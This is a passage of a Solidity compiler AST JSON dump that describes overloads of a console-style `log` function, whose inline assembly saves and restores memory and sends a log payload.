iveSrc":"388518:16:22","nodeType":"YulExpressionStatement","src":"388518:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388554:4:22","nodeType":"YulLiteral","src":"388554:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"388560:2:22","nodeType":"YulIdentifier","src":"388560:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388547:6:22","nodeType":"YulIdentifier","src":"388547:6:22"},"nativeSrc":"388547:16:22","nodeType":"YulFunctionCall","src":"388547:16:22"},"nativeSrc":"388547:16:22","nodeType":"YulExpressionStatement","src":"388547:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388588:4:22","nodeType":"YulLiteral","src":"388588:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"388594:2:22","nodeType":"YulIdentifier","src":"388594:2:22"}],"functionName":{"name":"writeString","nativeSrc":"388576:11:22","nodeType":"YulIdentifier","src":"388576:11:22"},"nativeSrc":"388576:21:22","nodeType":"YulFunctionCall","src":"388576:21:22"},"nativeSrc":"388576:21:22","nodeType":"YulExpressionStatement","src":"388576:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388622:4:22","nodeType":"YulLiteral","src":"388622:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"388628:2:22","nodeType":"YulIdentifier","src":"388628:2:22"}],"functionName":{"name":"writeString","nativeSrc":"388610:11:22","nodeType":"YulIdentifier","src":"388610:11:22"},"nativeSrc":"388610:21:22","nodeType":"YulFunctionCall","src":"388610:21:22"},"nativeSrc":"388610:21:22","nodeType":"YulExpressionStatement","src":"388610:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46286,"isOffset":false,"isSlot":false,"src":"388083:2:22","valueSize":1},{"declaration":46289,"isOffset":false,"isSlot":false,"src":"388113:2:22","valueSize":1},{"declaration":46292,"isOffset":false,"isSlot":false,"src":"388143:2:22","valueSize":1},{"declaration":46295,"isOffset":false,"isSlot":false,"src":"388173:2:22","valueSize":1},{"declaration":46298,"isOffset":false,"isSlot":false,"src":"388203:2:22","valueSize":1},{"declaration":46301,"isOffset":false,"isSlot":false,"src":"388233:2:22","valueSize":1},{"declaration":46304,"isOffset":false,"isSlot":false,"src":"388263:2:22","valueSize":1},{"declaration":46307,"isOffset":false,"isSlot":false,"src":"388293:2:22","valueSize":1},{"declaration":46310,"isOffset":false,"isSlot":false,"src":"388323:2:22","valueSize":1},{"declaration":46276,"isOffset":false,"isSlot":false,"src":"388594:2:22","valueSize":1},{"declaration":46278,"isOffset":false,"isSlot":false,"src":"388628:2:22","valueSize":1},{"declaration":46280,"isOffset":false,"isSlot":false,"src":"388531:2:22","valueSize":1},{"declaration":46282,"isOffset":false,"isSlot":false,"src":"388560:2:22","valueSize":1}],"id":46312,"nodeType":"InlineAssembly","src":"387705:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46314,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"388666:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":46315,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"388672:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":46313,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"388650:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46316,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"388650:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46317,"nodeType":"ExpressionStatement","src":"388650:28:22"},{"AST":{"nativeSrc":"388697:273:22","nodeType":"YulBlock","src":"388697:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"388718:4:22","nodeType":"YulLiteral","src":"388718:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"388724:2:22","nodeType":"YulIdentifier","src":"388724:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388711:6:22","nodeType":"YulIdentifier","src":"388711:6:22"},"nativeSrc":"388711:16:22","nodeType":"YulFunctionCall","src":"388711:16:22"},"nativeSrc":"388711:16:22","nodeType":"YulExpressionStatement","src":"388711:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388747:4:22","nodeType":"YulLiteral","src":"388747:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"388753:2:22","nodeType":"YulIdentifier","src":"388753:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388740:6:22","nodeType":"YulIdentifier","src":"388740:6:22"},"nativeSrc":"388740:16:22","nodeType":"YulFunctionCall","src":"388740:16:22"},"nativeSrc":"388740:16:22","nodeType":"YulExpressionStatement","src":"388740:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388776:4:22","nodeType":"YulLiteral","src":"388776:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"388782:2:22","nodeType":"YulIdentifier","src":"388782:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388769:6:22","nodeType":"YulIdentifier","src":"388769:6:22"},"nativeSrc":"388769:16:22","nodeType":"YulFunctionCall","src":"388769:16:22"},"nativeSrc":"388769:16:22","nodeType":"YulExpressionStatement","src":"388769:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388805:4:22","nodeType":"YulLiteral","src":"388805:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"388811:2:22","nodeType":"YulIdentifier","src":"388811:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388798:6:22","nodeType":"YulIdentifier","src":"388798:6:22"},"nativeSrc":"388798:16:22","nodeType":"YulFunctionCall","src":"388798:16:22"},"nativeSrc":"388798:16:22","nodeType":"YulExpressionStatement","src":"388798:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388834:4:22","nodeType":"YulLiteral","src":"388834:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"388840:2:22","nodeType":"YulIdentifier","src":"388840:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388827:6:22","nodeType":"YulIdentifier","src":"388827:6:22"},"nativeSrc":"388827:16:22","nodeType":"YulFunctionCall","src":"388827:16:22"},"nativeSrc":"388827:16:22","nodeType":"YulExpressionStatement","src":"388827:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388863:4:22","nodeType":"YulLiteral","src":"388863:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"388869:2:22","nodeType":"YulIdentifier","src":"388869:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388856:6:22","nodeType":"YulIdentifier","src":"388856:6:22"},"nativeSrc":"388856:16:22","nodeType":"YulFunctionCall","src":"388856:16:22"},"nativeSrc":"388856:16:22","nodeType":"YulExpressionStatement","src":"388856:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388892:4:22","nodeType":"YulLiteral","src":"388892:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"388898:2:22","nodeType":"YulIdentifier","src":"388898:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388885:6:22","nodeType":"YulIdentifier","src":"388885:6:22"},"nativeSrc":"388885:16:22","nodeType":"YulFunctionCall","src":"388885:16:22"},"nativeSrc":"388885:16:22","nodeType":"YulExpressionStatement","src":"388885:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388921:4:22","nodeType":"YulLiteral","src":"388921:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"388927:2:22","nodeType":"YulIdentifier","src":"388927:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388914:6:22","nodeType":"YulIdentifier","src":"388914:6:22"},"nativeSrc":"388914:16:22","nodeType":"YulFunctionCall","src":"388914:16:22"},"nativeSrc":"388914:16:22","nodeType":"YulExpressionStatement","src":"388914:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"388950:5:22","nodeType":"YulLiteral","src":"388950:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"388957:2:22","nodeType":"YulIdentifier","src":"388957:2:22"}],"functionName":{"name":"mstore","nativeSrc":"388943:6:22","nodeType":"YulIdentifier","src":"388943:6:22"},"nativeSrc":"388943:17:22","nodeType":"YulFunctionCall","src":"388943:17:22"},"nativeSrc":"388943:17:22","nodeType":"YulExpressionStatement","src":"388943:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46286,"isOffset":false,"isSlot":false,"src":"388724:2:22","valueSize":1},{"declaration":46289,"isOffset":false,"isSlot":false,"src":"388753:2:22","valueSize":1},{"declaration":46292,"isOffset":false,"isSlot":false,"src":"388782:2:22","valueSize":1},{"declaration":46295,"isOffset":false,"isSlot":false,"src":"388811:2:22","valueSize":1},{"declaration":46298,"isOffset":false,"isSlot":false,"src":"388840:2:22","valueSize":1},{"declaration":46301,"isOffset":false,"isSlot":false,"src":"388869:2:22","valueSize":1},{"declaration":46304,"isOffset":false,"isSlot":false,"src":"388898:2:22","valueSize":1},{"declaration":46307,"isOffset":false,"isSlot":false,"src":"388927:2:22","valueSize":1},{"declaration":46310,"isOffset":false,"isSlot":false,"src":"388957:2:22","valueSize":1}],"id":46318,"nodeType":"InlineAssembly","src":"388688:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"387449:3:22","parameters":{"id":46283,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46276,"mutability":"mutable","name":"p0","nameLocation":"387461:2:22","nodeType":"VariableDeclaration","scope":46320,"src":"387453:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46275,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387453:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46278,"mutability":"mutable","name":"p1","nameLocation":"387473:2:22","nodeType":"VariableDeclaration","scope":46320,"src":"387465:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46277,"name":"bytes32","nodeType":"ElementaryTypeName","src":"387465:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46280,"mutability":"mutable","name":"p2","nameLocation":"387485:2:22","nodeType":"VariableDeclaration","scope":46320,"src":"387477:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46279,"name":"uint256","nodeType":"ElementaryTypeName","src":"387477:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":46282,"mutability":"mutable","name":"p3","nameLocation":"387497:2:22","nodeType":"VariableDeclaration","scope":46320,"src":"387489:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":46281,"name":"uint256","nodeType":"ElementaryTypeName","src":"387489:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"387452:48:22"},"returnParameters":{"id":46284,"nodeType":"ParameterList","parameters":[],"src":"387515:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46372,"nodeType":"FunctionDefinition","src":"388982:1738:22","nodes":[],"body":{"id":46371,"nodeType":"Block","src":"389057:1663:22","nodes":[],"statements":[{"assignments":[46332],"declarations":[{"constant":false,"id":46332,"mutability":"mutable","name":"m0","nameLocation":"389075:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389067:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46331,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389067:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46333,"nodeType":"VariableDeclarationStatement","src":"389067:10:22"},{"assignments":[46335],"declarations":[{"constant":false,"id":46335,"mutability":"mutable","name":"m1","nameLocation":"389095:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389087:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46334,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389087:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46336,"nodeType":"VariableDeclarationStatement","src":"389087:10:22"},{"assignments":[46338],"declarations":[{"constant":false,"id":46338,"mutability":"mutable","name":"m2","nameLocation":"389115:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389107:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46337,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389107:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46339,"nodeType":"VariableDeclarationStatement","src":"389107:10:22"},{"assignments":[46341],"declarations":[{"constant":false,"id":46341,"mutability":"mutable","name":"m3","nameLocation":"389135:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389127:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46340,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389127:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46342,"nodeType":"VariableDeclarationStatement","src":"389127:10:22"},{"assignments":[46344],"declarations":[{"constant":false,"id":46344,"mutability":"mutable","name":"m4","nameLocation":"389155:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389147:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46343,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389147:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46345,"nodeType":"VariableDeclarationStatement","src":"389147:10:22"},{"assignments":[46347],"declarations":[{"constant":false,"id":46347,"mutability":"mutable","name":"m5","nameLocation":"389175:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389167:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46346,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389167:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46348,"nodeType":"VariableDeclarationStatement","src":"389167:10:22"},{"assignments":[46350],"declarations":[{"constant":false,"id":46350,"mutability":"mutable","name":"m6","nameLocation":"389195:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389187:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46349,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389187:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46351,"nodeType":"VariableDeclarationStatement","src":"389187:10:22"},{"assignments":[46353],"declarations":[{"constant":false,"id":46353,"mutability":"mutable","name":"m7","nameLocation":"389215:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389207:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46352,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389207:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46354,"nodeType":"VariableDeclarationStatement","src":"389207:10:22"},{"assignments":[46356],"declarations":[{"constant":false,"id":46356,"mutability":"mutable","name":"m8","nameLocation":"389235:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389227:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46355,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389227:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46357,"nodeType":"VariableDeclarationStatement","src":"389227:10:22"},{"assignments":[46359],"declarations":[{"constant":false,"id":46359,"mutability":"mutable","name":"m9","nameLocation":"389255:2:22","nodeType":"VariableDeclaration","scope":46371,"src":"389247:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46358,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389247:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46360,"nodeType":"VariableDeclarationStatement","src":"389247:10:22"},{"assignments":[46362],"declarations":[{"constant":false,"id":46362,"mutability":"mutable","name":"m10","nameLocation":"389275:3:22","nodeType":"VariableDeclaration","scope":46371,"src":"389267:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46361,"name":"bytes32","nodeType":"ElementaryTypeName","src":"389267:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46363,"nodeType":"VariableDeclarationStatement","src":"389267:11:22"},{"AST":{"nativeSrc":"389297:1027:22","nodeType":"YulBlock","src":"389297:1027:22","statements":[{"body":{"nativeSrc":"389340:313:22","nodeType":"YulBlock","src":"389340:313:22","statements":[{"nativeSrc":"389358:15:22","nodeType":"YulVariableDeclaration","src":"389358:15:22","value":{"kind":"number","nativeSrc":"389372:1:22","nodeType":"YulLiteral","src":"389372:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"389362:6:22","nodeType":"YulTypedName","src":"389362:6:22","type":""}]},{"body":{"nativeSrc":"389443:40:22","nodeType":"YulBlock","src":"389443:40:22","statements":[{"body":{"nativeSrc":"389472:9:22","nodeType":"YulBlock","src":"389472:9:22","statements":[{"nativeSrc":"389474:5:22","nodeType":"YulBreak","src":"389474:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"389460:6:22","nodeType":"YulIdentifier","src":"389460:6:22"},{"name":"w","nativeSrc":"389468:1:22","nodeType":"YulIdentifier","src":"389468:1:22"}],"functionName":{"name":"byte","nativeSrc":"389455:4:22","nodeType":"YulIdentifier","src":"389455:4:22"},"nativeSrc":"389455:15:22","nodeType":"YulFunctionCall","src":"389455:15:22"}],"functionName":{"name":"iszero","nativeSrc":"389448:6:22","nodeType":"YulIdentifier","src":"389448:6:22"},"nativeSrc":"389448:23:22","nodeType":"YulFunctionCall","src":"389448:23:22"},"nativeSrc":"389445:36:22","nodeType":"YulIf","src":"389445:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"389400:6:22","nodeType":"YulIdentifier","src":"389400:6:22"},{"kind":"number","nativeSrc":"389408:4:22","nodeType":"YulLiteral","src":"389408:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"389397:2:22","nodeType":"YulIdentifier","src":"389397:2:22"},"nativeSrc":"389397:16:22","nodeType":"YulFunctionCall","src":"389397:16:22"},"nativeSrc":"389390:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"389414:28:22","nodeType":"YulBlock","src":"389414:28:22","statements":[{"nativeSrc":"389416:24:22","nodeType":"YulAssignment","src":"389416:24:22","value":{"arguments":[{"name":"length","nativeSrc":"389430:6:22","nodeType":"YulIdentifier","src":"389430:6:22"},{"kind":"number","nativeSrc":"389438:1:22","nodeType":"YulLiteral","src":"389438:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"389426:3:22","nodeType":"YulIdentifier","src":"389426:3:22"},"nativeSrc":"389426:14:22","nodeType":"YulFunctionCall","src":"389426:14:22"},"variableNames":[{"name":"length","nativeSrc":"389416:6:22","nodeType":"YulIdentifier","src":"389416:6:22"}]}]},"pre":{"nativeSrc":"389394:2:22","nodeType":"YulBlock","src":"389394:2:22","statements":[]},"src":"389390:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"389507:3:22","nodeType":"YulIdentifier","src":"389507:3:22"},{"name":"length","nativeSrc":"389512:6:22","nodeType":"YulIdentifier","src":"389512:6:22"}],"functionName":{"name":"mstore","nativeSrc":"389500:6:22","nodeType":"YulIdentifier","src":"389500:6:22"},"nativeSrc":"389500:19:22","nodeType":"YulFunctionCall","src":"389500:19:22"},"nativeSrc":"389500:19:22","nodeType":"YulExpressionStatement","src":"389500:19:22"},{"nativeSrc":"389536:37:22","nodeType":"YulVariableDeclaration","src":"389536:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"389553:3:22","nodeType":"YulLiteral","src":"389553:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"389562:1:22","nodeType":"YulLiteral","src":"389562:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"389565:6:22","nodeType":"YulIdentifier","src":"389565:6:22"}],"functionName":{"name":"shl","nativeSrc":"389558:3:22","nodeType":"YulIdentifier","src":"389558:3:22"},"nativeSrc":"389558:14:22","nodeType":"YulFunctionCall","src":"389558:14:22"}],"functionName":{"name":"sub","nativeSrc":"389549:3:22","nodeType":"YulIdentifier","src":"389549:3:22"},"nativeSrc":"389549:24:22","nodeType":"YulFunctionCall","src":"389549:24:22"},"variables":[{"name":"shift","nativeSrc":"389540:5:22","nodeType":"YulTypedName","src":"389540:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"389601:3:22","nodeType":"YulIdentifier","src":"389601:3:22"},{"kind":"number","nativeSrc":"389606:4:22","nodeType":"YulLiteral","src":"389606:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"389597:3:22","nodeType":"YulIdentifier","src":"389597:3:22"},"nativeSrc":"389597:14:22","nodeType":"YulFunctionCall","src":"389597:14:22"},{"arguments":[{"name":"shift","nativeSrc":"389617:5:22","nodeType":"YulIdentifier","src":"389617:5:22"},{"arguments":[{"name":"shift","nativeSrc":"389628:5:22","nodeType":"YulIdentifier","src":"389628:5:22"},{"name":"w","nativeSrc":"389635:1:22","nodeType":"YulIdentifier","src":"389635:1:22"}],"functionName":{"name":"shr","nativeSrc":"389624:3:22","nodeType":"YulIdentifier","src":"389624:3:22"},"nativeSrc":"389624:13:22","nodeType":"YulFunctionCall","src":"389624:13:22"}],"functionName":{"name":"shl","nativeSrc":"389613:3:22","nodeType":"YulIdentifier","src":"389613:3:22"},"nativeSrc":"389613:25:22","nodeType":"YulFunctionCall","src":"389613:25:22"}],"functionName":{"name":"mstore","nativeSrc":"389590:6:22","nodeType":"YulIdentifier","src":"389590:6:22"},"nativeSrc":"389590:49:22","nodeType":"YulFunctionCall","src":"389590:49:22"},"nativeSrc":"389590:49:22","nodeType":"YulExpressionStatement","src":"389590:49:22"}]},"name":"writeString","nativeSrc":"389311:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"389332:3:22","nodeType":"YulTypedName","src":"389332:3:22","type":""},{"name":"w","nativeSrc":"389337:1:22","nodeType":"YulTypedName","src":"389337:1:22","type":""}],"src":"389311:342:22"},{"nativeSrc":"389666:17:22","nodeType":"YulAssignment","src":"389666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389678:4:22","nodeType":"YulLiteral","src":"389678:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"389672:5:22","nodeType":"YulIdentifier","src":"389672:5:22"},"nativeSrc":"389672:11:22","nodeType":"YulFunctionCall","src":"389672:11:22"},"variableNames":[{"name":"m0","nativeSrc":"389666:2:22","nodeType":"YulIdentifier","src":"389666:2:22"}]},{"nativeSrc":"389696:17:22","nodeType":"YulAssignment","src":"389696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389708:4:22","nodeType":"YulLiteral","src":"389708:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"389702:5:22","nodeType":"YulIdentifier","src":"389702:5:22"},"nativeSrc":"389702:11:22","nodeType":"YulFunctionCall","src":"389702:11:22"},"variableNames":[{"name":"m1","nativeSrc":"389696:2:22","nodeType":"YulIdentifier","src":"389696:2:22"}]},{"nativeSrc":"389726:17:22","nodeType":"YulAssignment","src":"389726:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389738:4:22","nodeType":"YulLiteral","src":"389738:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"389732:5:22","nodeType":"YulIdentifier","src":"389732:5:22"},"nativeSrc":"389732:11:22","nodeType":"YulFunctionCall","src":"389732:11:22"},"variableNames":[{"name":"m2","nativeSrc":"389726:2:22","nodeType":"YulIdentifier","src":"389726:2:22"}]},{"nativeSrc":"389756:17:22","nodeType":"YulAssignment","src":"389756:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389768:4:22","nodeType":"YulLiteral","src":"389768:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"389762:5:22","nodeType":"YulIdentifier","src":"389762:5:22"},"nativeSrc":"389762:11:22","nodeType":"YulFunctionCall","src":"389762:11:22"},"variableNames":[{"name":"m3","nativeSrc":"389756:2:22","nodeType":"YulIdentifier","src":"389756:2:22"}]},{"nativeSrc":"389786:17:22","nodeType":"YulAssignment","src":"389786:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389798:4:22","nodeType":"YulLiteral","src":"389798:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"389792:5:22","nodeType":"YulIdentifier","src":"389792:5:22"},"nativeSrc":"389792:11:22","nodeType":"YulFunctionCall","src":"389792:11:22"},"variableNames":[{"name":"m4","nativeSrc":"389786:2:22","nodeType":"YulIdentifier","src":"389786:2:22"}]},{"nativeSrc":"389816:17:22","nodeType":"YulAssignment","src":"389816:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389828:4:22","nodeType":"YulLiteral","src":"389828:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"389822:5:22","nodeType":"YulIdentifier","src":"389822:5:22"},"nativeSrc":"389822:11:22","nodeType":"YulFunctionCall","src":"389822:11:22"},"variableNames":[{"name":"m5","nativeSrc":"389816:2:22","nodeType":"YulIdentifier","src":"389816:2:22"}]},{"nativeSrc":"389846:17:22","nodeType":"YulAssignment","src":"389846:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389858:4:22","nodeType":"YulLiteral","src":"389858:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"389852:5:22","nodeType":"YulIdentifier","src":"389852:5:22"},"nativeSrc":"389852:11:22","nodeType":"YulFunctionCall","src":"389852:11:22"},"variableNames":[{"name":"m6","nativeSrc":"389846:2:22","nodeType":"YulIdentifier","src":"389846:2:22"}]},{"nativeSrc":"389876:17:22","nodeType":"YulAssignment","src":"389876:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"389888:4:22","nodeType":"YulLiteral","src":"389888:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"389882:5:22","nodeType":"YulIdentifier","src":"389882:5:22"},"nativeSrc":"389882:11:22","nodeType":"YulFunctionCall","src":"389882:11:22"},"variableNames":[{"name":"m7","nativeSrc":"389876:2:22","nodeType":"YulIdentifier","src":"389876:2:22"}]},{"nativeSrc":"389906:18:22","nodeType":"YulAssignment","src":"389906:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"389918:5:22","nodeType":"YulLiteral","src":"389918:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"389912:5:22","nodeType":"YulIdentifier","src":"389912:5:22"},"nativeSrc":"389912:12:22","nodeType":"YulFunctionCall","src":"389912:12:22"},"variableNames":[{"name":"m8","nativeSrc":"389906:2:22","nodeType":"YulIdentifier","src":"389906:2:22"}]},{"nativeSrc":"389937:18:22","nodeType":"YulAssignment","src":"389937:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"389949:5:22","nodeType":"YulLiteral","src":"389949:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"389943:5:22","nodeType":"YulIdentifier","src":"389943:5:22"},"nativeSrc":"389943:12:22","nodeType":"YulFunctionCall","src":"389943:12:22"},"variableNames":[{"name":"m9","nativeSrc":"389937:2:22","nodeType":"YulIdentifier","src":"389937:2:22"}]},{"nativeSrc":"389968:19:22","nodeType":"YulAssignment","src":"389968:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"389981:5:22","nodeType":"YulLiteral","src":"389981:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"389975:5:22","nodeType":"YulIdentifier","src":"389975:5:22"},"nativeSrc":"389975:12:22","nodeType":"YulFunctionCall","src":"389975:12:22"},"variableNames":[{"name":"m10","nativeSrc":"389968:3:22","nodeType":"YulIdentifier","src":"389968:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"390071:4:22","nodeType":"YulLiteral","src":"390071:4:22","type":"","value":"0x0